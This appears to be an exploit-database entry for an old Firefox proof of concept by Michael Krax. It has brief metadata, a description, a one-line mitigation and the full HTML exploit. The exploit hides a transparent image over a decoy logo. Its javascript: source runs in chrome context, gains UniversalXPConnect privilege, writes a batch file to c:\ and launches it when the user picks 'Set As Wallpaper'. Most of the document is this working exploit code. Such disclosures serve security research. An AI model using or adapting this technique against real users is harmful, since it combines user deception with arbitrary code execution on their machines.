Firewalling - Proof-of-Concept

vendor:

N/A

by:

Michael Krax

8.8

CVSS

HIGH

Firewalling

CWE

Product Name: N/A

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: Unknown

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

Unknown

Firewalling – Proof-of-Concept

The 'Set As Wallpaper' dialog takes the image url as a parameter without validating it, allowing to execute javascript in chrome and to run arbitrary code. By using absolute positioning and the moz-opacity filter an attacker can easily fool the user to think he is setting a valid image as wallpaper.

Mitigation:

Validate the image URL before allowing it to be set as wallpaper.

Source

Exploit-DB raw data:

// Exploit by Michael Krax
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Firewalling - Proof-of-Concept</title>
<script>
function stopload() {
// in some cases the javascript url never stops to load
// therefore we force a stop after the real image got loaded
window.setTimeout("window.stop()",1000);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">

<div style="font-family:Verdana;font-size:15px;font-weight:bold;">
Firewalling - Proof-of-Concept</div>
<div style="width:600px">
The "Set As Wallpaper" dialog takes the image url as a parameter without validating it.
This allows to execute javascript in chrome and to run arbitrary code.
<br><br>
By using absolute positioning and the moz-opacity filter an attacker can easily fool the
user to think he is setting a valid image as wallpaper.
<br><br>
Right click on the image and choose "Set As Wallpaper". The demo requests
UniversalXPConnect rights, creates c:\booom.bat and launches the batch file
that shows a directoy listing in a dos box (Windows only).
<br><br>

<div style="position:relative; width:300px; height:250px;">
<img src="javascript:/*-----------------------------*/eval('if(document.location.href.
substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
();}else{void(0)}')" width="300" height="250" alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
<img src="http://www.milw0rm.com/images/logo.png" width="300" height="250" alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:1;" onload="stopload()">
</div>
</div>
</body>

</html>

# milw0rm.com [2005-07-13]